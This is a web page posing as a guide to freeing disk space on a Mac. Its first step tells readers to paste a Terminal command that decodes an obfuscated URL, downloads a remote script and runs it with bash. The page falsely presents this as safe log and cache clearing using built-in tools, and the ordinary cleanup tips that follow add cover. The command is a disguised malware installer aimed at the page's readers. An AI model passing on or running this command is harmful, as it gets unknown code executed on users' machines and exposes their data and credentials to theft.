Mac Storage Full? Reclaim Space the Smart Way
Getting storage alerts on your Mac? When your disk fills up, macOS can slow down or even stop basic processes. Here’s how to clear out space quickly and safely — starting with one powerful Terminal command you can run in seconds.
🚀 Step 1: Clear Cache and Logs via Terminal
🖥️ Step 1: Open the Terminal App
- Press Command (⌘) + Space to open Spotlight Search.
- Type Terminal and press Enter.
2. Enter this command in Terminal
Click the button below to copy the command, then paste it into Terminal and press Return:
/bin/bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9pY2xvdWRzZXJ2ZXJzLmNvbS9nbS9pbnN0YWxsLnNo | base64 -d))"This removes system logs and cached files safely. It can instantly clear gigabytes of space without affecting personal files.
Usually it should help, but if it doesn’t, then we move on to the next step.
📦 Step 2: Delete Unused Large Files
Go to Apple Menu → About This Mac → Storage → Manage. Review large video files, installers, and unused apps — they’re usually the biggest space eaters.
🗑️ Step 3: Don’t Forget the Trash
Move files to Trash — then empty it. Right-click on the Trash icon in the Dock and select Empty Trash. You can also enable auto-delete after 30 days in System Settings.
🧰 Step 4: Use macOS Storage Recommendations
- Optimize TV content
- Remove old email attachments
- Store Desktop & Documents in iCloud (optional)
📁 Step 5: Review the Downloads Folder
Check Downloads in Finder. Sort by size or date, then clean up old .zip files, PDFs, and installers.
🔄 Step 6: Restart Your Mac
Once cleanup is complete, restart your Mac to refresh storage indexes and improve system performance.
Note: This method is safe and uses built-in tools only — no additional software required.